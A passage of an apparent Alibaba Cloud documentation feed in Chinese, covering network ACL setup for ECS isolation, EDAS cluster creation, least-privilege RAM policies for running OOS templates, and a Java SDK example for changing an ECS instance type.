      • 已经在交换机中创建了ECS实例。详细信息,请参见使用向导创建实例

      背景信息

      某公司在云上创建了VPC,在VPC中创建了两个交换机,交换机1下创建了ECS1实例(192.168.1.206),交换机2下创建了ECS2实例(192.168.0.229)和ECS3实例(192.168.0.230)。因公司业务需要,要求ECS实例间、ECS与互联网间必须满足以下互通关系。

      • 禁止ECS1实例、ECS2实例、ECS3实例与互联网互通。
      • 禁止ECS1与ECS3互通。
      • 允许ECS1与ECS2互通。

      网络ACL场景

      如上图,您可以通过自定义设置网络ACL规则,并将网络ACL与交换机绑定,实现对交换机中ECS的流量的访问控制。

      配置流程图如下:网络ACL使用流程

      步骤一:创建网络ACL

      完成以下操作,创建网络ACL。

      1. 登录专有网络管理控制台
      2. 在左侧导航栏,单击网络ACL
      3. 在顶部状态栏处,选择网络ACL的地域。

        说明 目前,仅华北1(青岛)、华北2(北京)、华北5(呼和浩特)、西南1(成都)、华东1(杭州)、华东2(上海)、华南1(深圳)、华南2(河源)、中国香港、英国(伦敦)、美国(硅谷)、新加坡、德国(法兰克福)、印度(孟买)地域支持网络ACL功能。

      4. 网络ACL页面,单击创建网络ACL
      5. 创建网络ACL对话框中,根据以下信息配置网络ACL,然后单击确定

        • 专有网络:选择网络ACL所属的专有网络。
        • 名称:输入网络ACL的名称。
        • 描述:输入网络ACL的描述。

      步骤二:绑定交换机

      完成以下操作,将交换机1、交换机2绑定到网络ACL。

      1. 登录专有网络管理控制台
      2. 在左侧导航栏,单击网络ACL
      3. 在顶部状态栏处,选择网络ACL的地域。
      4. 网络ACL页面,找到目标网络ACL,单击操作列下的管理
      5. 已绑定资源页签下,单击关联资源
      6. 关联资源对话框,选择交换机1和交换机2,然后单击确定

      步骤三:添加网络ACL规则

      完成以下操作,为网络ACL添加入方向规则和出方向规则。

      1. 登录专有网络管理控制台
      2. 在左侧导航栏,单击网络ACL
      3. 在顶部状态栏处,选择网络ACL的地域。
      4. 网络ACL页面,找到目标网络ACL,单击操作列下的设置入方向规则
      5. 设置入方向规则页签下,单击创建入方向规则
      6. 创建入方向规则对话框,根据以下信息配置入方向规则,然后单击确定

        名称 生效顺序 策略 协议类型 源地址 目的端口范围
        允许来自ECS2的流量 1 允许 all 192.168.0.229/32 -1/-1
        允许来自ECS1的流量 2 允许 all 192.168.1.206/32 -1/-1
        拒绝来自所有地址的流量 3 拒绝 all 0.0.0.0/0 -1/-1

      7. 单击出方向规则页签,然后单击创建出方向规则
      8. 创建出方向规则对话框,根据以下信息配置出方向规则,然后单击确定

        名称 生效顺序 策略 协议类型 目的地址 目的端口范围
        允许去往ECS2的流量 1 允许 all 192.168.0.229/32 -1/-1
        允许去往ECS1的流量 2 允许 all 192.168.1.206/32 -1/-1
        拒绝去往所有地址的流量 3 拒绝 all 0.0.0.0/0 -1/-1

      步骤四:测试连通性

      完成以下操作,测试ECS间、ECS与互联网间的连通性。

      1. 登录ECS1实例。
      2. 通过ping命令分别pingECS2实例、ECS3实例、任意公网IP地址,验证通信是否正常。

        经验证,ECS1实例能访问ECS2实例,但不能访问ECS3实例和互联网。

        图 1. ECS1实例能访问ECS2实例
        ECS1实例能访问ECS2实例
        图 2. ECS1实例不能访问ECS3实例
        ECS1实例不能访问ECS3实例
        图 3. ECS1实例不能访问互联网
        ECS1实例不能访问互联网

      ]]> 创建 ECS 集群_集群_资源管理_ECS集群用户指南_企业级分布式应用服务 EDAS-阿里云 Fri, 02 May 2025 09:39:04 +0800 创建 ECS 集群

      更新时间:2019-11-04 20:15:12

      本页目录

      在 EDAS 中创建一个 ECS 集群后,可以进入集群中直接购买 ECS 实例或导入已购买的 ECS 实例。 ##创建 ECS 集群

      创建 ECS 集群

      1. 登录 EDAS 控制台,在页面左上角选择地域。
      2. 在左侧导航栏中,选择资源管理 > 集群
      3. 集群页面上方选择命名空间,然后在右侧单击创建集群
      4. 创建集群对话框中设置集群参数,然后单击创建

        EDAS资源管理之创建ECS集群

        • 集群名称:输入集群名称。名字仅支持字母、数字、下划线(_)、中划线(-)和点(.),且长度不能超过64个字符。
        • 集群类型:选择 ECS
        • 集群网络类型:包括经典网络和 VPC 网络。根据实际需求在下拉菜单中选择网络类型。

        • VPC 网络:在下拉菜单中选择 VPC。

          说明:如果没有可选 VPC 网络,请单击创建 VPC 跳转到 VPC 控制台创建。

        • 命名空间:显示在集群列表页面选择的命名空间,不可配置。如果未选择,则默认显示地域。

        集群创建成功后当前页面右上角会出现创建成功的提示,同时新创建的集群会在集群列表中显示。

      添加 ECS 实例

      在 ECS 集群中添加 ECS 实例有两种方式:

      购买 ECS 实例

      1. 在集群列表选择 EDAS 集群页签,单击创建的 ECS 集群名称进入集群详情页面。
      2. 集群详情页面中右侧单击购买 ECS 扩容
      3. 集群扩容页面选择扩容方式,设置完成后单击下一步

        • 基于现有实例规格购买EDAS资源管理之创建ECS集群购买 ECS 实例
          1. 勾选集群中现有的实例作为规格模板,然后单击下一步
          2. 购买信息页签,选择计费方式购买数量,然后单击下一步
          3. 确认扩容页签,确认扩容信息,然后单击确认扩容
        • 基于启动实例模板购买: EDAS资源管理之创建ECS集群基于启动实例模板购买
          1. 扩容方式页签,选择启动模板和版本,然后单击下一步
          2. 购买信息页签,选择计费方式购买数量,然后单击下一步
          3. 确认扩容页签,确认扩容信息,然后单击确认扩容

      4. 执行完扩容操作后,会在页面上方提示已触发自动购买的流程,请查看变更流程获取实时信息。当实例导入完成后,返回集群详情页,实例的健康检查显示为运行中则表示实例购买成功。

      导入 ECS 实例

      EDAS 集群中导入 ECS 实例目前有两种操作分支:

      • 直接导入:无需镜像转化。
      • 转化后导入:使用 EDAS 官方镜像重装系统。重装后,实例中的所有数据都会被删除,并且需要设置新的实例登录密码。 ECS 实例满足以下任一情况,则不能直接导入:

        • 2017年12月1日之前创建的实例
        • 向经典网络的集群中导入的经典网络实例
        • 实例没有运行(已停止、启动中或停止中)
        • Windows 系统实例或不支持简单 shell 命令的实例
        • 非 ECS 集群间导入的实例
      1. 在集群列表选择 EDAS 集群页签,单击创建的 ECS 集群名称进入集群详情页面。
      2. 集群详情页面中右侧单击购买 ECS 扩容右侧的下拉按钮,在下拉列表中单击添加已有 ECS
      3. 添加ECS实例页面的实例列表中,选择导入方式和 ECS 实例,然后单击下一步
        • 导入 ECS:命名空间和导入集群不可配置,从该地域下默认的命名空间向集群中导入。
        • 从已有集群选择:在该地域下,选择命名空间以及源集群。然后将页面左侧列表中的 ECS 实例添加到右侧列表中。EDAS资源原理导入ECS之从已有集群选择

          说明 如果没有符合条件的实例,在页面右上角单击创建 ECS 实例,跳转到阿里云官网 ECS 购买页面,购买并创建新的 ECS 实例。详情请参考创建 ECS 实例

      4. 准备导入页面,查看实例的导入状态,确认实例信息,单击确认并导入
        • 直接导入:在准备导入页面,查看选择的实例信息,单击确认并导入
        • 转化后导入:在准备导入页面,查看选择的实例信息,勾选同意对以上需要导入的实例进行转化,并已知转化后原有系统中的数据将会丢失。并输入转化后系统 root 用户登录的新密码,然后单击确认并导入
      5. 进行导入页面上查看实例的导入状态。当实例导入完成后,返回集群详情页,实例的健康检查显示为运行中则表示导入成功。
        • 直接导入:会显示直接导入成功
        • 转化后导入:开始导入时,会显示为正在转化中,转化操作预计耗时五分钟

      移除 ECS 实例

      1. 在页面 ECS 实例和应用区域实例列表的操作列中,单击移除
      2. 移除 ECS 实例对话框中确认要移除的实例信息,单击移除

        在移除过程中,实例的健康检查状态会显示删除中并显示移除进度的百分比。当删除成功后,该实例将会从实例列表中移除。

      ]]> OOS操作ECS分组资源的权限策略管理_权限配置_最佳实践_运维编排服务-阿里云 Fri, 02 May 2025 09:39:04 +0800 OOS操作ECS分组资源的权限策略管理

      更新时间:2019-11-15 12:18:25

      本页目录

      背景

      阿里云账号分为主账号(用户)和子账号(用户)两类,主账号为注册阿里云时的账号,其权限为root,出于安全考虑,建议实际操作时采用子账号。而操作员工的职责不同,不同子账号需要的权限也不同。此时,子账号权限策略的有效管理就很重要。
      本文将介绍下,当某员工通过子账号,使用运维编排服务(OOS)执行某模版,来完成一些例行运维任务时,如何既使子账号顺利完成相应操作,又最大程度保障账号的安全。

      场景介绍

      某公司账号下购买了若干台ECS实例,其中2台被打上标签TagKey:TagValue进行了分组,某员工甲被分配的子账号为subUser1ForOOS,甲定期通过该账号在OOS中执行一个模版T,模版执行的任务是对标签TagKey:TagValue分组下的ECS实例批量执行shell指令。即该员工具有对模版T的只读和执行权限,以及有模版任务涉及API(如RunCommand)的操作权限,且可操作的API仅对标签TagKey:TagValue分组下的实例有效。

      解决方案

      为满足上述场景,权限管理要分两方面,即OOS资源操作和ECS资源操作。
      OOS方面权限策略包括对模版的只读权限、对模版T的执行权限、对执行的查询权限。
      ECS方面权限策略为对标签TagKey:TagValue下实例的操作权限,且操作权限仅限于模版中涉及的API。
      以上的权限策略成功创建后,将其授权给员工甲使用的RAM子用户即可(或具有员工甲相同职责的用户组)。

      操作步骤

      步骤如下

      • ECS实例的分组
      • 创建OOS模版
      • 创建子账号(用户)
      • 创建自定义权限策略
      • 为子账号授权
      • 子账号执行OOS模版
      • 权限策略的补充验证

      ECS实例的分组

      1. 使用阿里云主账号(或管理员账号)登录到ECS控制台oos
      2. 选择2台实例,在操作菜单下选择更多 > 实例设置 > 编辑标签
      3. 单击新建标签,输入标签键标签值,单击确定
        本文中标签键设为TagKey,标签值设为TagValue。oos
      4. 单击确定
      5. 打开实例列表栏,在搜索框中输入TagKey:TagValue,单击放大镜图标。 oos
      6. 确认搜索结果为刚刚打标签TagKey:TagValue的实例。 oos

      创建OOS模版

      1. 使用阿里云主账号(或管理员账号)登录到运维编排控制台
      2. 单击我的模版,单击创建模版,选取空白模版,单击YAML
        本文中模版格式选择YAML。 oos
      3. 将附件中YAML的模版内容复制到空白模版中(若您对实例分组的标签键值不是TagKey:TagValue,请根据实际情况对模版中TagKey和TagValue进行修改)。

        oos

      4. 模版任务如下,请确认模版将执行的任务。

        1. 验证指定标签下是否存在实例。
        2. 根据标签下是否存在停止的实例选择后续任务。
        3. 如果标签下存在停止的实例,则启动这些实例。
        4. 为标签下所有实例安装云助手。
        5. 在标签下所有实例中运行Shell命令。
      5. 填写模板名称,单击创建模版
        本文中,模版名称设为TestOperatingByGroups。oos

      6. 我的模版栏,可查看成功创建的模版TestOperatingByGroups。

      创建子账号(用户)

      1. 使用阿里云主账号(或管理员账号)登录RAM控制台
      2. 在左侧导航栏的人员管理菜单下,单击用户 > 新建用户
      3. 输入登录名称显示名称
        本文中的登录名称及显示名称均设为subUser1ForOOS。
      4. 勾选控制台密码登录,单击自定义登录密码并填写要设置的子账号密码。 oos
      5. 单击确定
      6. 用户栏中可查看成功创建的新账号。oos

      创建自定义权限策略

      1. 使用阿里云主账号登录RAM控制台
      2. 在左侧导航栏的权限管理菜单下,单击权限策略管理
      3. 单击新建权限策略
        创建第一条策略用来管理OOS资源操作。
      4. 填写策略名称备注
        本文中策略名称设置为OOSResourceManage。
      5. 配置模式选择脚本配置,并将下述的第一段JSON策略样例拷贝到策略内容区域,并根据实际情况进行修改(将JSON中所有以$为前缀的变量名替换掉)。
        将第一段JSON中的$AliyunMasterAccountID、$RegionID、$TemplateName1修改为您所使用的阿里云主账号ID、OOS及ECS资源所在地域ID(本文中为cn-hangzhou)、允许子账号可执行的模版名称(本文中为TestOperatingByGroups。))。
        oos
        操作OOS的策略
        该段策略表示:被授权RAM用户具有对$RegionID地域下模版的只读权限、对模版$TemplateName1的执行权限、对$RegionID地域下OOS执行的查询权限。

        1. {
        2. "Statement": [
        3. {
        4. "Action": [
        5. "oos:StartExecution",
        6. "oos:List*",
        7. "oos:Get*"
        8. ],
        9. "Resource": [
        10. "acs:oos:$RegionID:$AliyunMasterAccountID:template/$TemplateName1",
        11. "acs:oos:$RegionID:$AliyunMasterAccountID:execution/*"
        12. ],
        13. "Effect": "Allow"
        14. },
        15. {
        16. "Action": [
        17. "oos:List*",
        18. "oos:Get*"
        19. ],
        20. "Resource": [
        21. "acs:oos:$RegionID:$AliyunMasterAccountID:template/*"
        22. ],
        23. "Effect": "Allow"
        24. }
        25. ],
        26. "Version": "1"
        27. }
      6. 单击确定

      7. 单击新建权限策略,创建第二条策略用来管理ECS资源操作。
      8. 填写策略名称备注
      9. 配置模式选择脚本配置,将下述的第二段JSON策略样例拷贝到策略内容区域,并根据实际情况进行修改(将JSON中所有以$为前缀的变量名替换掉)。
        将第二段JSON中的$AliyunMasterAccountID、$TagKey、$TagValue、$RegionID修改为您所使用的阿里云主账号ID、实例所属标签键和标签值(本文中根据ECS实例的分组,键及值应设为TagKey和TagValue)、OOS及ECS资源所在地域ID。(本文中为cn-hangzhou)。
        ecs
        操作ECS的策略
        该段策略表示:被授权RAM用户具有对标签$TagKey:$TagValue下实例的操作权限,且仅可操作模版中涉及的API。

        1. {
        2. "Statement": [
        3. {
        4. "Effect": "Allow",
        5. "Action": [
        6. "ecs:DescribeInstances",
        7. "ecs:RebootInstance"
        8. ],
        9. "Resource": "acs:ecs:$RegionID:$AliyunMasterAccountID:instance/*",
        10. "Condition": {
        11. "StringEquals": {
        12. "ecs:tag/$TagKey": [
        13. "$TagValue"
        14. ]
        15. }
        16. }
        17. },
        18. {
        19. "Effect": "Allow",
        20. "Action": [
        21. "ecs:DescribeCloudAssistantStatus",
        22. "ecs:InstallCloudAssistant"
        23. ],
        24. "Resource": "acs:ecs:*:$AliyunMasterAccountID:instance/*",
        25. "Condition": {
        26. "StringEquals": {
        27. "ecs:tag/$TagKey": [
        28. "$TagValue"
        29. ]
        30. }
        31. }
        32. },
        33. {
        34. "Action": "ecs:DescribeTagKeys",
        35. "Effect": "Allow",
        36. "Resource": "*"
        37. },
        38. {
        39. "Action": "ecs:DescribeTags",
        40. "Effect": "Allow",
        41. "Resource": "*"
        42. },
        43. {
        44. "Effect": "Deny",
        45. "Action": [
        46. "ecs:DeleteTags",
        47. "ecs:UntagResources",
        48. "ecs:CreateTags",
        49. "ecs:TagResources"
        50. ],
        51. "Resource": "*"
        52. },
        53. {
        54. "Effect": "Allow",
        55. "Action": [
        56. "ecs:RunCommand"
        57. ],
        58. "Resource": "acs:ecs:*:$AliyunMasterAccountID:instance/*",
        59. "Condition": {
        60. "StringEquals": {
        61. "ecs:tag/$TagKey": [
        62. "$TagValue"
        63. ]
        64. }
        65. }
        66. },
        67. {
        68. "Action": [
        69. "ecs:RunCommand"
        70. ],
        71. "Resource": [
        72. "acs:ecs:*:$AliyunMasterAccountID:command/*"
        73. ],
        74. "Effect": "Allow"
        75. },
        76. {
        77. "Action": [
        78. "ecs:DescribeInvocations",
        79. "ecs:DescribeInvocationResults"
        80. ],
        81. "Resource": [
        82. "*"
        83. ],
        84. "Effect": "Allow"
        85. }
        86. ],
        87. "Version": "1"
        88. }
      10. 单击确定

      为子账号(或用户组)授权

      1. 使用阿里云主账号(或管理员账号)登录RAM控制台
      2. 在左侧导航栏的权限管理菜单下,单击授权
      3. 单击新增授权
      4. 被授权主体中输入子账号名称(或用户组名称)并选中,在选择权限中选择自定义权限策略,在左侧权限策略名称列表下,单击选择需要授予给子账号(或用户组)的权限策略。
        • 本文输入的子账号名称为subUser1ForOOS。
        • 本文选择的权限策略名称为OOSResourceManage和ECSResourceManage。
        • 在右侧区域框,若撤销对某策略的选择,可单击某条策略的×。oos
      5. 单击确定
      6. 单击完成

      执行OOS模版

      1. 使用主账号(或管理员账号)登录RAM概览,在右侧获取子账号登录地址。 oos
      2. 退出主账号(或管理员账号)的登录,访问刚获取的子账号登录地址,登录子账号。
        • 本文中登录的子账号为subUser1ForOOS。oos
      3. 登录成功后,进入运维编排控制台
      4. 单击我的模版,找到TestOperatingByGroups模版,单击创建执行oos
      5. 单击 下一步,设置参数
      6. 设置参数。
        • commandContent 将要执行的shell命令。
        • rateControl 模版执行时任务循环的并发速率及最大失败任务数。oos
      7. 单击 下一步,确认,单击创建执行
      8. 执行管理中可查看刚刚创建的执行。
        若创建执行成功,且执行状态处于运行中,则表示命令已开始执行。
      9. 当执行状态转换为成功时,则表示命令执行成功。
      10. 如需了解执行细节,单击该执行的详情,查看执行日志

      权限策略的补充验证

      OOS模版执行成功后,表示子账号subUser1ForOOS的权限策略支持模版TestOperatingByGroups执行需要的权限,也可在OOS控制台验证子账号无法执行未授权的模版。另外,若想验证子账号无法对标签以外实例的操作,可在登录子账号subUser1ForOOS后,通过Open Api 调试台对可操作API权限进行验证。

      附件:OOS模版- - -在某标签下的所有ECS实例中执行命令

      • 模板内容(YAML格式)
      1. FormatVersion: OOS-2019-06-01
      2. Description:
      3. en: Run a specific command in specified ECS instances.
      4. zh-cn: 对某些实例执行具体命令。
      5. name-en: RunSpecificCommandInSpecifiedInstances
      6. name-zh-cn: 指定的实例上执行具体命令。
      7. Parameters:
      8. commandContent:
      9. Description:
      10. en: commandContent.
      11. zh-ch: shell指令内容。
      12. Type: String
      13. Default: echo hello
      14. rateControl:
      15. Description:
      16. en: Concurrency rate of task execution.
      17. zh-cn: 任务执行的并发比率。
      18. Type: Json
      19. AssociationProperty: RateControl
      20. Default:
      21. Mode: Concurrency
      22. MaxErrors: 0
      23. Concurrency: 100%
      24. Tasks:
      25. - Name: CheckInstancesExistInTag
      26. Action: 'ACS::CheckFor'
      27. Description:
      28. en: Check for whether instances exist in specified tag.
      29. zh-cn: 验证指定标签下是否存在实例。
      30. Properties:
      31. Service: ECS
      32. API: DescribeInstances
      33. Parameters:
      34. Tags:
      35. - Key: TagKey
      36. Value: TagValue
      37. NotDesiredValues:
      38. - []
      39. PropertySelector: Instances.Instance|map(.InstanceId)
      40. Outputs:
      41. instanceIds:
      42. Type: List
      43. ValueSelector: 'Instances.Instance[].InstanceId'
      44. stoppedInstanceIdsExist:
      45. Type: String
      46. ValueSelector: >-
      47. Instances.Instance[]|select(.Status=="Stopped")|.InstanceId|[.]|all|tostring
      48. stoppedInstanceIds:
      49. Type: List
      50. ValueSelector: 'Instances.Instance[]|select(.Status=="Stopped")|.InstanceId'
      51. - Name: whetherStoppedInstancesExist
      52. Action: 'ACS::Choice'
      53. Description:
      54. en: Choose next task by stopped instances exist.
      55. zh-cn: 根据标签下是否存在停止的实例选择后续任务。
      56. Properties:
      57. DefaultTask: installCloudAssistant
      58. Choices:
      59. - When:
      60. 'Fn::Equals':
      61. - 'true'
      62. - '{{ CheckInstancesExistInTag.stoppedInstanceIdsExist }}'
      63. NextTask: startInstances
      64. - Name: startInstances
      65. Action: 'ACS::ECS::StartInstance'
      66. Description:
      67. en: Start Instance.
      68. zh-cn: 启动标签下停止的实例。
      69. Properties:
      70. instanceId: '{{ ACS::TaskLoopItem }}'
      71. Loop:
      72. Items: '{{ CheckInstancesExistInTag.stoppedInstanceIds }}'
      73. RateControl: '{{ rateControl }}'
      74. - Name: installCloudAssistant
      75. Action: 'ACS::ECS::InstallCloudAssistant'
      76. Description:
      77. en: Install cloud assostant for ECS instances in tag.
      78. zh-cn: 给标签下所有实例安装云助手。
      79. Properties:
      80. instanceId: '{{ ACS::TaskLoopItem }}'
      81. Loop:
      82. Items: '{{ CheckInstancesExistInTag.instanceIds }}'
      83. RateControl: '{{ rateControl }}'
      84. - Name: runCommand
      85. Action: 'ACS::ECS::RunCommand'
      86. Description:
      87. en: Run cloud assostant command on ECS instances in tag.
      88. zh-cn: 在标签下所有实例中运行云助手命令。
      89. Properties:
      90. commandContent: '{{ commandContent }}'
      91. commandType: RunShellScript
      92. instanceId: '{{ ACS::TaskLoopItem }}'
      93. Loop:
      94. Items: '{{ CheckInstancesExistInTag.instanceIds }}'
      95. RateControl: '{{ rateControl }}'
      96. Outputs:
      97. invocationOutputs:
      98. AggregateType: 'Fn::ListJoin'
      99. AggregateField: invocationOutput
      100. Outputs:
      101. invocationOutput:
      102. Type: String
      103. ValueSelector: .invocationOutput
      104. Outputs:
      105. invocationOutput:
      106. Type: List
      107. Value: '{{ runCommand.invocationOutputs }}'
      • 模板内容(JSON格式)
      1. {
      2. "FormatVersion": "OOS-2019-06-01",
      3. "Description": {
      4. "en": "Run a specific command in specified ECS instances.",
      5. "zh-cn": "对某些实例执行具体命令。",
      6. "name-en": "RunSpecificCommandInSpecifiedInstances",
      7. "name-zh-cn": "指定的实例上执行具体命令。"
      8. },
      9. "Parameters": {
      10. "commandContent": {
      11. "Description": {
      12. "en": "commandContent.",
      13. "zh-ch": "shell指令内容。"
      14. },
      15. "Type": "String",
      16. "Default": "echo hello"
      17. },
      18. "rateControl": {
      19. "Description": {
      20. "en": "Concurrency rate of task execution.",
      21. "zh-cn": "任务执行的并发比率。"
      22. },
      23. "Type": "Json",
      24. "AssociationProperty": "RateControl",
      25. "Default": {
      26. "Mode": "Concurrency",
      27. "MaxErrors": 0,
      28. "Concurrency": "100%"
      29. }
      30. }
      31. },
      32. "Tasks": [
      33. {
      34. "Name": "CheckInstancesExistInTag",
      35. "Action": "ACS::CheckFor",
      36. "Description": {
      37. "en": "Check for whether instances exist in specified tag.",
      38. "zh-cn": "验证指定标签下是否存在实例。"
      39. },
      40. "Properties": {
      41. "Service": "ECS",
      42. "API": "DescribeInstances",
      43. "Parameters": {
      44. "Tags": [
      45. {
      46. "Key": "TagKey",
      47. "Value": "TagValue"
      48. }
      49. ]
      50. },
      51. "NotDesiredValues": [
      52. []
      53. ],
      54. "PropertySelector": "Instances.Instance|map(.InstanceId)"
      55. },
      56. "Outputs": {
      57. "instanceIds": {
      58. "Type": "List",
      59. "ValueSelector": "Instances.Instance[].InstanceId"
      60. },
      61. "stoppedInstanceIdsExist": {
      62. "Type": "String",
      63. "ValueSelector": "Instances.Instance[]|select(.Status=="Stopped")|.InstanceId|[.]|all|tostring"
      64. },
      65. "stoppedInstanceIds": {
      66. "Type": "List",
      67. "ValueSelector": "Instances.Instance[]|select(.Status=="Stopped")|.InstanceId"
      68. }
      69. }
      70. },
      71. {
      72. "Name": "whetherStoppedInstancesExist",
      73. "Action": "ACS::Choice",
      74. "Description": {
      75. "en": "Choose next task by stopped instances exist.",
      76. "zh-cn": "根据标签下是否存在停止的实例选择后续任务。"
      77. },
      78. "Properties": {
      79. "DefaultTask": "installCloudAssistant",
      80. "Choices": [
      81. {
      82. "When": {
      83. "Fn::Equals": [
      84. "true",
      85. "{{ CheckInstancesExistInTag.stoppedInstanceIdsExist }}"
      86. ]
      87. },
      88. "NextTask": "startInstances"
      89. }
      90. ]
      91. }
      92. },
      93. {
      94. "Name": "startInstances",
      95. "Action": "ACS::ECS::StartInstance",
      96. "Description": {
      97. "en": "Start Instance.",
      98. "zh-cn": "启动标签下停止的实例。"
      99. },
      100. "Properties": {
      101. "instanceId": "{{ ACS::TaskLoopItem }}"
      102. },
      103. "Loop": {
      104. "Items": "{{ CheckInstancesExistInTag.stoppedInstanceIds }}",
      105. "RateControl": "{{ rateControl }}"
      106. }
      107. },
      108. {
      109. "Name": "installCloudAssistant",
      110. "Action": "ACS::ECS::InstallCloudAssistant",
      111. "Description": {
      112. "en": "Install cloud assostant for ECS instances in tag.",
      113. "zh-cn": "给标签下所有实例安装云助手。"
      114. },
      115. "Properties": {
      116. "instanceId": "{{ ACS::TaskLoopItem }}"
      117. },
      118. "Loop": {
      119. "Items": "{{ CheckInstancesExistInTag.instanceIds }}",
      120. "RateControl": "{{ rateControl }}"
      121. }
      122. },
      123. {
      124. "Name": "runCommand",
      125. "Action": "ACS::ECS::RunCommand",
      126. "Description": {
      127. "en": "Run cloud assostant command on ECS instances in tag.",
      128. "zh-cn": "在标签下所有实例中运行云助手命令。"
      129. },
      130. "Properties": {
      131. "commandContent": "{{ commandContent }}",
      132. "commandType": "RunShellScript",
      133. "instanceId": "{{ ACS::TaskLoopItem }}"
      134. },
      135. "Loop": {
      136. "Items": "{{ CheckInstancesExistInTag.instanceIds }}",
      137. "RateControl": "{{ rateControl }}",
      138. "Outputs": {
      139. "invocationOutputs": {
      140. "AggregateType": "Fn::ListJoin",
      141. "AggregateField": "invocationOutput"
      142. }
      143. }
      144. },
      145. "Outputs": {
      146. "invocationOutput": {
      147. "Type": "String",
      148. "ValueSelector": ".invocationOutput"
      149. }
      150. }
      151. }
      152. ],
      153. "Outputs": {
      154. "invocationOutput": {
      155. "Type": "List",
      156. "Value": "{{ runCommand.invocationOutputs }}"
      157. }
      158. }
      159. }

      ]]> 变更ECS实例规格_云服务器ECS_调用示例_Java SDK-阿里云 Fri, 02 May 2025 09:39:04 +0800 变更ECS实例规格

      更新时间:2019-11-12 16:31:40

      本页目录

      本教程详细介绍如何使用Alibaba Cloud SDK for Java变更ECS实例规格(可修改公网宽带大小)。

      前提条件

      在使用本教程前,请确保已完成以下操作:

      • 使用Alibaba Cloud SDK for Java,您需要一个阿里云账号和访问密钥(AccessKey)。 请在阿里云控制台中的AccessKey管理页面上创建和查看您的AccessKey。
      • 确保您已经安装了Alibaba Cloud SDK for Java,准确的SDK版本号,请参见 阿里云开发工具包(SDK)
        <dependencies>
            <!-- https://mvnrepository.com/artifact/com.aliyun/aliyun-java-sdk-core -->
            <dependency>
                <groupId>com.aliyun</groupId>
                <artifactId>aliyun-java-sdk-core</artifactId>
                <version>4.4.3</version>
            </dependency>
            <!-- https://mvnrepository.com/artifact/com.aliyun/aliyun-java-sdk-ecs-->
            <dependency>
                <groupId>com.aliyun</groupId>
                <artifactId>aliyun-java-sdk-ecs</artifactId>
                <version>4.17.4</version>
            </dependency>
        </dependencies>

      代码示例

      本文操作示例主要以代码形式体现,具体代码如下:

      import com.aliyuncs.DefaultAcsClient;
      import com.aliyuncs.IAcsClient;
      import com.aliyuncs.ecs.model.v20140526.DescribeResourcesModificationRequest;
      import com.aliyuncs.ecs.model.v20140526.DescribeResourcesModificationResponse;
      import com.aliyuncs.ecs.model.v20140526.DescribeResourcesModificationResponse.AvailableZone.AvailableResource.SupportedResource;
      import com.aliyuncs.ecs.model.v20140526.ModifyInstanceSpecRequest;
      import com.aliyuncs.ecs.model.v20140526.ModifyInstanceSpecResponse;
      import com.aliyuncs.exceptions.ClientException;
      import com.aliyuncs.profile.DefaultProfile;
      import com.google.gson.Gson;
      import java.util.List;
      
      /**
       * DescribeResourcesModification    查询升级和降配实例规格或者系统盘时,某一可用区的可用资源信息
       * ModifyInstanceSpec    调整一台按量付费ECS实例的实例规格和公网带宽大小
       */
      public class ModifyInstance {
      
          // 已关机状态的ECS实例
          private static String instancenId = "i-bp1gh*****";
      
          public static void main(String[] args) {
              Gson gson = new Gson();
              IAcsClient client = Initialization();
              // 查询某实例升级实例规则时的可用资源信息
              List<DescribeResourcesModificationResponse.AvailableZone> availableZones = DescribeResourcesModification(client);
              System.out.println("--------------------Available resource information for instance rules--------------------");
              System.out.println(gson.toJson(availableZones));
              // 获取实例的可用资源信息
              // (此处应根据实际情况或者结合前端业务来进行)
              SupportedResource supportedResource = availableZones.get(0).getAvailableResources().get(0).getSupportedResources().get(0);
              // 支持的可供创建的具体资源
              ModifyInstanceSpecResponse response = ModifyInstanceSpec(client, supportedResource.getValue());
              System.out.println("--------------------Instance specification changes successfully--------------------");
              System.out.println(gson.toJson(response));
          }
      
          /**
           * ModifyInstanceSpec    调整一台按量付费ECS实例的实例规格和公网带宽大小
           */
          private static ModifyInstanceSpecResponse ModifyInstanceSpec(IAcsClient client, String value) {
              ModifyInstanceSpecRequest request = new ModifyInstanceSpecRequest();
              // 指定的实例ID
              request.setInstanceId(instancenId);
              /**
               * 是否支持跨集群升级实例规格。默认值:false
               * 当参数AllowMigrateAcrossZone取值为true时,一旦您根据返回信息升级了云服务器,请留意以下注意事项:
               *
               * 经典网络类型实例:
               * 对于已停售的实例规格,非I/O优化实例变配到I/O优化实例时,实例私网IP地址、磁盘设备名和软件授权码会发
               * 生变化。对于Linux实例,普通云盘(cloud)会被识别为xvda或者xvdb等,高效云盘(cloud_efficiency)
               * 和SSD云盘(cloud_ssd)会被识别为vda或者vdb等。
               * 对于正常售卖的实例规格族,实例的私网IP地址会发生变化。
               *
               * 专有网络VPC类型实例:
               * 对于已停售的实例规格,非I/O优化实例变配到I/O优化实例时,云服务器磁盘设备名和软件授权码会发生变化。Linux
               * 实例的普通云盘(cloud)会被识别为xvda或者xvdb等,高效云盘(cloud_efficiency)和SSD云盘(cloud_ssd)
               * 会被识别为vda或者vdb等。
               */
              request.setAllowMigrateAcrossZone(false);
              request.setAsync(true);
              request.setInstanceType(value);
              try {
                  return client.getAcsResponse(request);
              } catch (ClientException e) {
                  System.out.println("ErrCode:" + e.getErrCode());
                  System.out.println("ErrMsg:" + e.getErrMsg());
                  System.out.println("RequestId:" + e.getRequestId());
                  throw new RuntimeException();
              }
          }
      
          /**
           * DescribeResourcesModification    查询升级和降配实例规格或者系统盘时,某一可用区的可用资源信息
           */
          private static List<DescribeResourcesModificationResponse.AvailableZone> DescribeResourcesModification(IAcsClient client) {
              DescribeResourcesModificationRequest request = new DescribeResourcesModificationRequest();
              //
              request.setDestinationResource("InstanceType");
              request.setResourceId(instancenId);
              try {
                  DescribeResourcesModificationResponse response = client.getAcsResponse(request);
                  return response.getAvailableZones();
              } catch (ClientException e) {
                  System.out.println("ErrCode:" + e.getErrCode());
                  System.out.println("ErrMsg:" + e.getErrMsg());
                  System.out.println("RequestId:" + e.getRequestId());
                  throw new RuntimeException();
              }
          }
      
      
          /**
           * Initialization  初始化公共请求参数
           */
          private static IAcsClient Initialization() {
              // 初始化请求参数
              DefaultProfile profile = DefaultProfile.getProfile(
                      "<your-region-id>", // 您的可用区ID
                      "<your-access-key-id>", // 您的AccessKey ID
                      "<your-access-key-secret>"); // 您的AccessKey Secret
              return new DefaultAcsClient(profile);
          }
      }
      				

      执行结果

      正确的返回结果类似如下:

      --------------------Available resource information for instance rules--------------------
      [
          {
              "regionId": "cn-hangzhou-dg-a01", 
